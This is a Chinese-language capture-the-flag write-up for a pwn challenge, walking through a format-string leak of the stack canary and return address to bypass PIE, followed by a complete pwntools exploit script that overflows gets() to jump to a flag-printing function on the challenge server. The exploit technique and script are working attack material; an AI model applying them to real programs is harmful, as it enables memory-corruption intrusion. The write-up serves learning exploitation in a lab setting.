题目来源

https://www.nssctf.cn/problem/774

整体分析

通过strings查看程序,我们可以发现 "/bin/cat flag.txt"这样的字符串
ida反编译的核心代码如下:

unsigned __int64 sub_132F()
{
  char format[32]; // [rsp+0h] [rbp-60h] BYREF
  char v2[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Hi! What's your name? ");
  gets(format);
  printf("Nice to meet you, ");
  strcat(format, "!\n");
  printf(format);
  printf("Anything else? ");
  gets(v2);
  return __readfsqword(0x28u) ^ v3;
}

我们发现有两处gets函数,以及一处典中典printf(str)
checksec一下:

[woc@evillage test]$ checksec --file=./find_flag
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      No      0               2               ./find_flag

有PIE和canary保护,这都对我们的栈溢出操作带来了麻烦
首先,对于canary保护,我们该如何绕开?我们知道canary的值来自于fs寄存器,存在于栈上,我们可以试着泄露其值;有些情况下可以劫持检查canary的函数,但这一题并不必要(毕竟有格式化漏洞)
那对于PIE保护,我们想到的自然是试着泄露程序基地址

格式化字符串漏洞研究

研究1(失败)

我先自己试着写了一个测试程序

#include<stdio.h>
int main(void){
    char buf[8]="hello!";
    printf("%p %p %p %p %p %p %p %p");
    return 0;
}

使用gdb调试,在printf设置断点,

Breakpoint 1, 0x00007ffff7dfcbc8 in printf () from /usr/lib/libc.so.6
(gdb) info register
rax            0x0                 0
rbx            0x7fffffffe398      140737488348056
rcx            0x555555557dd8      93824992247256
rdx            0x7fffffffe3a8      140737488348072
rsi            0x7fffffffe398      140737488348056
rdi            0x555555556004      93824992239620
rbp            0x7fffffffe250      0x7fffffffe250
rsp            0x7fffffffe250      0x7fffffffe250
r8             0x0                 0
r9             0x7ffff7fcb200      140737353921024
r10            0x0                 0
r11            0x7ffff7dfcbc0      140737352027072
r12            0x1                 1
r13            0x0                 0
r14            0x7ffff7ffd000      140737354125312
r15            0x555555557dd8      93824992247256
rip            0x7ffff7dfcbc8      0x7ffff7dfcbc8 <printf+8>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
fs_base        0x7ffff7da1740      140737351653184
gs_base        0x0                 0
(gdb) c
Continuing.
0x7fffffffe398 0x7fffffffe3a8 0x555555557dd8 (nil) 0x7ffff7fcb200 0x216f6c6c6568 0xa4c995b5364b2500 0x7fffffffe310[Inferior 1 (process 14074) exited normally]

我发现输出的前三个值分别是%rsi, %rdx, %rcx的值,这不就是传递参数的第2、3、4个寄存器吗?或许第一个参数就是格式化字符串,这样的规律很难不让人浮想联翩,可是这样我陷入了疑惑:那要怎么泄露地址呢?
我试着将find_flag的第一个输入填入“%s”, 它却输出了这样的信息:

Nice to meet you, Nice to meet you, me? !

这是触发回响形态了?后面的Nice to meet you, me?是从哪里来的?很长一段时间都没有弄清楚

查阅资料

通过查阅资料,格式化字符串漏洞泄露的其实是栈上的信息(???所以我刚刚被寄存器带偏了?但我觉得这期间还是有一些联系的,不然为什么这么巧?后续再研究吧)
别人在演示的时候,输入的不仅仅是%p之类的字符串,还连带了一些具有辨识性的信息,如“AAAA%pAAAA”,方便确定在栈中的位置(我怎么没想到!?),

再温习以下这个程序的栈结构(栈中的结构是反过来的,v3在高地址,format在低地址)

  char format[32]; // [rsp+0h] [rbp-60h] BYREF
  char v2[56]; // [rsp+20h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

通过反复实验,我发现find_flag在输出多个%p (也就是每次8字节的数据),总是在第6个字段开始泄露format的信息:

Hi! What's your name? AABB%p %p %p %p %p %p %p %p %p %p %p %p CCDD
Nice to meet you, AABB0x7fff66c20a60 0x2c 0xffffffffffffffd2 (nil) (nil) 0x2520702542424141 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa2144444343 0x1 CCDD!

为什么是第六个字段?或许和上面的那个“未解之谜”是同一个问题

我还通过翻阅别人的博客了解到,不用这么麻烦输出%p, 有一种 %n$p的方法,可以等效的输出第n个%p,我们只需要计算一下:栈上v3这个数据其实就是canary,那么前面有88个字节,也就是11个字段,再加上5个无效字段,我们就可以构造出这样的payload:
5+11=16个无效字段+canary字段+rbp字段(也是无效的)+返回地址
也就是说,我们只需要写%17$p就能够知道canary的值

base泄露

下面我们需要做的就是泄露base了,那么程序里到底有什么和base有关呢?

  1. 我们能通过栈的位置来推出基地址吗? 很明显并不行
  2. 那么,是否存在一种关系,能够让我们通过程序中一些静态资源的地址推断出偏移地址呢?但似乎也不太行
  3. 我们从“力所能及”的角度出发,我们现在能够泄露栈上的数据,那么栈上有什么数据能够反映基地址呢?
    到这里,已经很显然了,程序返回时时地址是在栈上的,我们只需要再输出第19个字段!
Hi! What's your name? %17$p %19$p    
Nice to meet you, 0xf6070817ef405c00 0x5da34939b46f!

我们接着回到最基础的汇编,看看正常情况main函数会返回哪里?
当然,向后看我们只能找到一个'ret',我们需要的是向前看:看看main函数是从哪里开始的?

............................. 
     1320:    48 8d 3d 35 0e 00 00     lea    0xe35(%rip),%rdi        # 215c <setvbuf@plt+0x102c>
    1327:    e8 94 fd ff ff           call   10c0 <puts@plt>
    132c:    90                       nop
    132d:    5d                       pop    %rbp
    132e:    c3                       ret
    132f:    f3 0f 1e fa              endbr64
    1333:    55                       push   %rbp
    1334:    48 89 e5                 mov    %rsp,%rbp
    1337:    48 83 ec 60              sub    $0x60,%rsp
    133b:    64 48 8b 04 25 28 00     mov    %fs:0x28,%rax
    1342:    00 00 
    1344:    48 89 45 f8              mov    %rax,-0x8(%rbp)
    1348:    31 c0                    xor    %eax,%eax
    134a:    48 8d 3d 25 0e 00 00     lea    0xe25(%rip),%rdi        # 2176 <setvbuf@plt+0x1046>
    1351:    b8 00 00 00 00           mov    $0x0,%eax
...........

好,是从132f开始的,那么哪里用到了call 132f呢?很容易找到是146a处,那么146a的下一条146f就是正常情况下应该返回的地址!它加上基地址之后,被压到了栈上。我们看看上面的数据:0x5da34939b46f , 有没有发现最后3位是一样的?这说明我们大概率是找对了!

exp脚本编写

最后我们需要做的,就是编写脚本了
新学习的知识:
int(num_str, 16)可以将一个字符串按16进制解释,返回十进制数字
p64, p32将十进制数字打包成二进制数据(存储的时候反过来,其实我们就直接打包将地址的数值即可)
cyclic(x),产生x个字节,用于填充
re.search必须对字符串操作,但是recv()返回的是二进制数据,需要我们decode转化,如retStr = retStr.decode("utf-8")
编写的最终脚本如下:

from pwn import *
from re import *

obj = remote('node4.anna.nssctf.cn',28286)
#obj = process('/test/find_flag')
ret1 = obj.recvuntil('name?')
print(ret1)
print('------------------')
expStr = '%17$p %19$p'
obj.sendline(expStr)

retStr = obj.recvline()
retStr = retStr.decode("utf-8")
print(retStr)
print('------------------')
formStr = '(0x[0-9a-fA-F]+)\\s(0x[0-9a-fA-F]+)'
match = search(formStr,retStr)
canary_str=match.group(1)
retPos_str=match.group(2)
print(canary_str)
print(retPos_str)
print('------------------')
canary = int(canary_str,16)
retPos = int(retPos_str,16)
objPos = retPos - int("146f",16) + int("1231",16)

canary_exp_data = p64(canary)
objPos_exp_data = p64(objPos)

line = cyclic(56) + canary_exp_data + cyclic(8) + objPos_exp_data

obj.sendline(line)

flag = obj.recvall(timeout=3)
print(flag)

中间有几个小插曲,起初我在所有的recv阶段用的都是recvall,最开始是没有指定timeout,导致程序一直卡住;第二个问题是在之后的sendline()阶段一直报错:EOFError,我参考了这篇资料:
https://blog.csdn.net/u010883831/article/details/124832061
原来recvall后会关掉连接?啊这。。。

最后也是得到了flag, 赢!


StupidMagpie
6 声望0 粉丝